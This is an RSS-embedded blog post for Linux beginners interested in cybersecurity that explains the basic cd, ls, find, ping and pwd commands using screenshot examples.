            <content:encoded><![CDATA[<p>I think that one misunderstanding in the cybersecurity area is about the knowledge necessary to perform your work. You must think that only know how to use tools like Hydra, BeEF or Metasploit is necessary to advance in the cybersecurity field, but know some commands in Linux can help you to streamline your performance in the terminal, know how to consult general information of the system, checking connections from the same IP, look for problems with hard drive, etc. So, if you’re a beginner in the Linux world, come learn how to use those simple, but important commands.</p><h3>cd Command:</h3><p>The cd command is used to navigate through the Linux files and directory. It requires knowing the full path or the name of the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAIDPSwNyDY9-wiBjPghsQ.png" /><figcaption><strong>Example of the cd command</strong></figcaption></figure><p>As the example above shows, using the cd command is quite simple, and it gives you the power to navigate directories easily. As well, use the command cd .. to come back to the before directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vk7SEmEqSdbXPawLVAlM_Q.png" /><figcaption><strong>Example of cd .. command</strong></figcaption></figure><p>Now, I leave the c_course directory and come back /home/.</p><h3>ls Command:</h3><p>The ls command is used to view the content of a directory. If you want to see the content of other directories, type ls and the name of the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FkAytKHTuU0D_LEH-iHDVw.png" /><figcaption><strong>Example of the ls command</strong></figcaption></figure><h4>Some variations to use with ls:</h4><p>ls -a: Will show all the hidden files.</p><p>ls -R: Will list all the files in the sub-directories.</p><p>ls -al: Will list the files and directories with detailed information like the permissions, size, owner, etc.</p><h3>find Command:</h3><p>find command is used to locate files and directories, but you use the find command to locate files within a given directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jaCx2Ym17svleqrB4I137A.png" /><figcaption><strong>Example of the find command</strong></figcaption></figure><p>As the example shows, the command will search for a file called test_linux.txt within the /home/ directory and its subdirectories.</p><h3>ping Command:</h3><p>Use the ping command to check your connectivity status to a server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnBa95X9U7euX_4hHDSz1w.png" /><figcaption>Example of the ping command</figcaption></figure><p>As the example shows, the command will check whether you’re able to connect to Google and also measure the response time.</p><h3>pwd command:</h3><p>pwd command finds out the path of the current working directory you’re in. The command will return an absolute path, which is basically a path of all directories that starts with a forward slash (/).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rEmUBrxTTUOPvQuAcdLkYQ.png" /><figcaption>Example of the pwd command</figcaption></figure><p>The command returns the path /home/seapunk, which is my current directory.</p><p>This is all for now, but I intend to come with more commands and another Linux information. Feel free to contact me if you have any questions or suggestions.</p><p>See you soon!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7abe50b21985" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>